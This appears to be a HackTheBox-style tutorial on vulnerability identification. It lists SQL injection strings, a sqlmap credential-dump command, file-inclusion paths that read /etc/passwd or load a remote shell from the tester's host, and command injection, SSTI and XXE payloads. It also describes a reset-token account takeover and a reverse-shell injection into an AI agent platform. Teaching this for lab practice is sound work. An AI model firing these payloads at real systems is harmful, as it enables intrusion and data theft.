HackTheBox RoadMap — Phase 3: Vulnerability Identification

By now you've scanned the target (Part 1) and thoroughly enumerated its services (Part 2). In this phase we turn those findings into concrete attack vectors — matching versions to known exploits and testing for the classic web flaws.

Based on what you found, look for attack vectors. Check for known exploits using searchsploit.

searchsploit <service_name> <version>
searchsploit <CMS_name>

Or you can navigate the web and specifically the Exploit Database for more information about the exploit you are trying to find more information about.

Common Web Vulnerabilities to Test

1 — SQL Injection

' OR 1=1 --

' OR '1'='1

admin' --

Or you can use sqlmap for checking as well:

sqlmap -u "http://goodgames.htb/login" --data "email=test&password=test" -p email --batch -D main -T user -C name,email,password --dump

2 — Local File Inclusion (LFI)

http://target/page?file=../../../../etc/passwd
http://target/page?file=php://filter/convert.base64-encode/resource=index.php

3 — Remote File Inclusion (RFI)

http://target/page?file=http://your_ip/shell.php

4 — Command Injection

; whoami
| id
$(whoami)
id

5 — Server-Side Template Injection (SSTI)

{{7*7}}
${7*7}

6 — XML External Entity (XXE)

<?xml version="1.0"?>

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

<root>&xxe;</root> 

7 — Type Juggling (PHP)

parameter[]=    # sends an array instead of a string

8 — Check for Misconfigurations

• Exposed config files (.env, config.php, web.config)
• Swap files (.swp, .bak)
• Directory listing enabled
• Default credentials
• Backup files (file.php.bak, file.php.old)
• Account takeover — See if there is a sign-in page. Try the possible usernames you may have found (e.g., ben@silentium.htb) through the reset-password page. If the account exists, a message will state that the reset link was sent to the email. When you press the reset link, intercept the traffic with Burp Suite and inspect the request and response. You may see that the temporary token is captured within the response. The key vulnerability here is that the API returns the reset token directly in the response instead of only sending it to the user's email — so you don't need access to the target's inbox to take over the account.
• Node.js misconfigurations — This can exist in many AI-based platforms like Flowise (an open-source, no-code/low-code platform for building AI agents and chatbots visually). If the platform has a CustomMCP node that lets users define server configurations in JSON, and that config tells the server what command to execute, an attacker can inject a reverse-shell command instead of a legitimate server config — that's the basis of CVE-2025-59528.

Next up — Part 4: Exploitation / Initial Access, where we turn a confirmed vulnerability into a working shell.